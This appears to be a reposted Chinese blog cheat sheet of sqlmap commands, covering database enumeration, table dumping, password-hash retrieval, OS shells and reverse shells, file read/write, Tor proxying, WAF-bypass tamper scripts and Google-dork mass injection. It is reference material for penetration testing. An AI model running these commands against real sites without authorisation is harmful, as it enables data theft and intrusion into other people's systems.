【SQLmap】常用命令

news2025/1/18 20:17:36

文章目录

  • 实际使用案例
  • 常用命令
    • 基本命令
    • 数据库指纹识别
    • 用户信息
    • 用户权限
    • 数据库枚举
    • 数据导出
    • 密码哈希
    • 操作系统命令执行
    • 文件操作
    • 代理和网络
    • 参数指定
    • 保存恢复
    • 自动搜索注入
    • 智能模式
    • 等级设置
    • 自动注入
    • WAF 绕过
    • 杂项
    • 帮助和支持


SQLmap 是一款开源的自动化 SQL 注入检测和利用工具,广泛用于网络安全的渗透测试中。它支持广泛的数据库服务器,能够自动化地检测和利用大多数的 SQL 注入漏洞,以及对数据库服务器进行不同程度的访问和控制。

在这里插入图片描述

实际使用案例

假设你已经确定一个 URL 存在 SQL 注入漏洞,你可以使用以下命令来进一步探测和利用它:

sqlmap -u "http://example.com/index.php?id=1" --dbs

这个命令会列出所有数据库。

接下来,如果你想获取特定数据库中的所有表名:

sqlmap -u "http://example.com/index.php?id=1" -D database_name --tables

若要导出某个表的数据:

sqlmap -u "http://example.com/index.php?id=1" -D database_name -T table_name --dump

常用命令

以下是 SQLmap 的一些重要命令和功能:

基本命令

  • sqlmap -u "TARGET_URL":对指定的 URL 进行注入测试。

数据库指纹识别

  • --banner:获取数据库的详细信息。
  • --dbms "Mysql":指定数据库类型。

用户信息

  • --users:列出数据库中的所有用户。
  • --current-user:确定当前连接的数据库用户。
  • --is-dba:检查当前用户是否具有数据库管理员权限。

用户权限

  • --privileges:列出数据库用户的权限。
  • --privileges -U root:查看指定用户权限。

数据库枚举

  • --dbs:列出所有数据库。
  • -D DATABASE_NAME --tables:列出指定数据库的所有表。
  • -D DATABASE_NAME -T TABLE_NAME --columns:列出指定表的所有列。
  • --start 1 --stop 20:列出 20 条。

数据导出

  • -D DATABASE_NAME -T TABLE_NAME -C COLUMN_NAME --dump:导出指定数据库、表或列的数据。

密码哈希

  • --passwords:尝试获取数据库用户的密码哈希。

操作系统命令执行

  • --os-cmd="COMMAND":在支持的数据库上执行操作系统命令。
  • --os-shell:提供一个交互式的 shell 环境。
  • --udf-inject:导入用户自定义函数(获取系统权限)。
  • --os-pwn :反弹 shell。

文件操作

  • --file-read=FILE_PATH:从数据库服务器读取文件。
  • --file-write=FILE_PATH --file-dest=DEST_PATH:将文件写入数据库服务器。
  • --reg-read :读取 win 系统注册表

代理和网络

  • --proxy=PROXY:通过指定的代理服务器进行 SQLmap 的所有请求。
  • --tor:使用 Tor 匿名网络。
  • --delay=DELAY_SECONDS:设置请求之间的延迟时间。
  • --timeout=TIMEOUT_SECONDS:设置请求的超时时间。

参数指定

  • --string"STRING_ON_TRUE_PAGE":指定关键词。
  • --data "id=3" :设置post参数。
  • --cookie "COOKIE_VALUE" :设置cookie。
  • --random-agent:使用随机 User-Agent 头发送请求。
  • --sql-shell :执行指定 sql 命令

保存恢复

  • --dbs-o "sqlmap.log":保存进度。
  • --dbs -o "sqlmap.log" --resume":恢复进度。

自动搜索注入

  • sqlmap -g "google 语法" --dump-all --batch:搜索注入点自动 跑出所有字段。

智能模式

  • --smart:启用智能模式,使用更少的查询来确定数据库的类型,以及数据库中表和字段的名称。

等级设置

  • --level:这个选项用来定义测试的级别。

自动注入

  • --batch:无需交互,自动执行。

WAF 绕过

  • --tamper=TAMPER_SCRIPTS:使用篡改脚本来尝试绕过 WAF。

杂项

  • --beep:发现 SQL 注入时发出蜂鸣声。
  • --check-payload:检查 IDS 对注入有效负载的检测。
  • --forms:解析和测试目标 URL 的表单。

帮助和支持

  • sqlmap -hsqlmap --help:显示帮助信息。
  • sqlmap -v:显示程序的版本号。

想要成为无论多么悲伤的时候,也能够漂亮微笑的人吧。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1881156.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

一文读懂Feed流

前言:当前最流行的Feed流产品有微博、微信朋友圈、头条的资讯推荐、快手抖音的视频推荐等,还有一些变种,比如私信、通知等,这些系统都是Feed流系统。Feed流是Feed 流,Feed的本意是饲料,Feed流的本意就是有…

【python】python基于tkinter的学生成绩管理系统(源码+数据文件)【独一无二】

👉博__主👈:米码收割机 👉技__能👈:C/Python语言 👉公众号👈:测试开发自动化【获取源码商业合作】 👉荣__誉👈:阿里云博客专家博主、5…

AI绘画-Stable Diffusion 原理介绍及使用

引言 好像很多朋友对AI绘图有兴趣,AI绘画背后,依旧是大模型的训练。但绘图类AI对计算机显卡有较高要求。建议先了解基本原理及如何使用,在看看如何实现自己垂直行业的绘图AI逻辑。或者作为使用者,调用已有的server接口。 首先需…

20240701 每日AI必读资讯

🏫AI真炼丹:整整14天,无需人类参与 - 英矽智能推出全球首个AI参与决策的生物学实验室,实现了14天内完成靶点发现和验证的全自动化闭环实验。 - 该实验室由PandaOmics平台驱动,集成多种预测模型和海量数据&#xff0…

springboot基础入门2(profile应用)

Profile应用 一、何为Profile二、profile配置方式1.多profile文件方式2.yml多文档方式 三、加载顺序1. file:./config/: 当前项目下的/config目录下2. file:./ :当前项目的根目录3. classpath:/config/:classpath的/config目录4. classpath:/ : classpath的根目录 四…

ffmpeg使用bmp编码器把bgr24编码为bmp图像

version #define LIBAVCODEC_VERSION_MAJOR 60 #define LIBAVCODEC_VERSION_MINOR 15 #define LIBAVCODEC_VERSION_MICRO 100 note 不使用AVOutputFormat code void CFfmpegOps::EncodeBGR24ToBMP(const char* infile, const char* width_str, const char* height_str…

Python数据分析-风湿关节炎生存分析

一、研究背景和意义 类风湿关节炎(RA)是一种慢性炎症性疾病,主要影响关节,但也可能影响身体的其他部分。RA的病因尚不完全清楚,但已知其涉及免疫系统的异常反应。患者的免疫系统错误地攻击自身的关节组织,…

机器学习中的数学底蕴与设计模式

在说机器学习设计模式之前,想多说几句,在进入软件行业最初的10年,那时候耳熟能详的基本就是多线程编程,互斥同步锁,设计模式,OOA,OOP,常规数组,tree,图的数据…

【图论】200. 岛屿问题

200. 岛屿问题 难度:中等 力扣地址:https://leetcode.cn/studyplan/top-100-liked/ 问题描述 给你一个由 1(陆地)和 0(水)组成的的二维网格,请你计算网格中岛屿的数量。 岛屿总是被水包围&…

你真的会udf提权???数据库权限到系统权限 内网学习 mysql的udf提权操作 ??msf你会用了吗???

我们在已经取得了数据库的账号密码过后,我们要进一步进行提取的操作,我们mysql有4钟提权的操作。 udf提权(最常用的)mof提权启动项提权反弹shell提权操作 怎么获取密码操作: 怎么获取密码,通过sql注入获取这个大家都应该知道了&a…

专题四:Spring源码初始化环境与BeanFactory

上文我们通过new ClassPathXmlApplicationContext("applicationContext.xml");这段代码看了下Spring是如何将Xml里面内容注入到Java对象中,并通过context.getBean("jmUser");方式获得了一个对象实例,而避开使用new 来耦合。今天我们…

Houdini速通VOP强化训练上部

Houdini 速通 VOP 强化训练上部是一门针对 Houdini 中 VOP(Vector Operation Language)的强化训练课程。本课程深入探讨了 Houdini 中 VOP 的核心概念和高级技术,通过实际案例和项目实战,帮助学员快速掌握 VOP 的使用技巧和编程方…

SpringBoot Task 定时任务

springboot中使用Task定时任务非常简单 springboot 中自带的都有注解不需要引入依赖 第一步:在启动类上添加启用定时任务注解 EnableScheduling //开启任务调度 第二步:创建一个springboot组件用于定时任务管理 package cn.lsy.api.Task;import cn.ls…

【Unity实战】在RHEL 9上安装UnityHub

一般来说,Unity编辑器的安装,官方已经给出了安装教程。 但是这个忽略了RHEL 9的一个特性:默认的加解密策略已经不支持SHA1了,你会在执行yum install unityhub那里出现如下报错: [shepherdlocalhost ~]$ sudo yum inst…

[C++][设计模式][备忘录模式]详细讲解

目录 1.动机2.模式定义3.要点总结4.代码感受 1.动机 在软件构建过程中,某些对象的状态转换过程中,可能由于某中需要,要求程序能够回溯到对象之前处于某个点的状态。 如果使用一些公开接口来让其他对象得到对象的状态,便会暴露对象…

66、基于长短期记忆 (LSTM) 网络对序列数据进行分类

1、基于长短期记忆 (LSTM) 网络对序列数据进行分类的原理及流程 基于长短期记忆(LSTM)网络对序列数据进行分类是一种常见的深度学习任务,适用于处理具有时间或序列关系的数据。下面是在Matlab中使用LSTM网络对序列数据进行分类的基本原理和流…

TomCat小型服务器安装

一、安装步骤 Tomcat官方站点: http://tomcat.apache.org 1、进入官方网站后获取安装包: 🤠tar.gz文件是Linux操作系统下的安装版本 🤠zip文件是Windows系统下的压缩版本 2、解压安装 解压到自己的文件夹中 3、安装JDK 设置环…

Go源码--context包

简介 Context 是go语言比较重要的且也是比较复杂的一个结构体,Context主要有两种功能: 取消信号:包括直接取消(涉及的结构体:cancelCtx ; 涉及函数:WithCancel)和携带截止日期的取消(涉及结构…

功能强大的声音模拟合成软件Togu Audio Line TAL-Mod 1.9.7

Togu Audio Line TAL一个虚拟模拟合成器,具有卓越的声音和几乎无限的调制能力。其特殊的振荡器模型能够创建广泛的声音,从经典的单声道到丰富的立体声引线、效果器和焊盘。路由可以使用虚拟跳线电缆来完成。只需连接调制输出以达到调制的目的。之后,您可以调整调制强度。您不…

dB分贝入门

主要参考资料: dB(分贝)定义及其应用: https://blog.csdn.net/u014162133/article/details/110388145 目录 dB的应用一、声音的大小二、信号强度三、增益 dB的应用 一、声音的大小 在日常生活中,住宅小区告知牌上面标示噪音要低…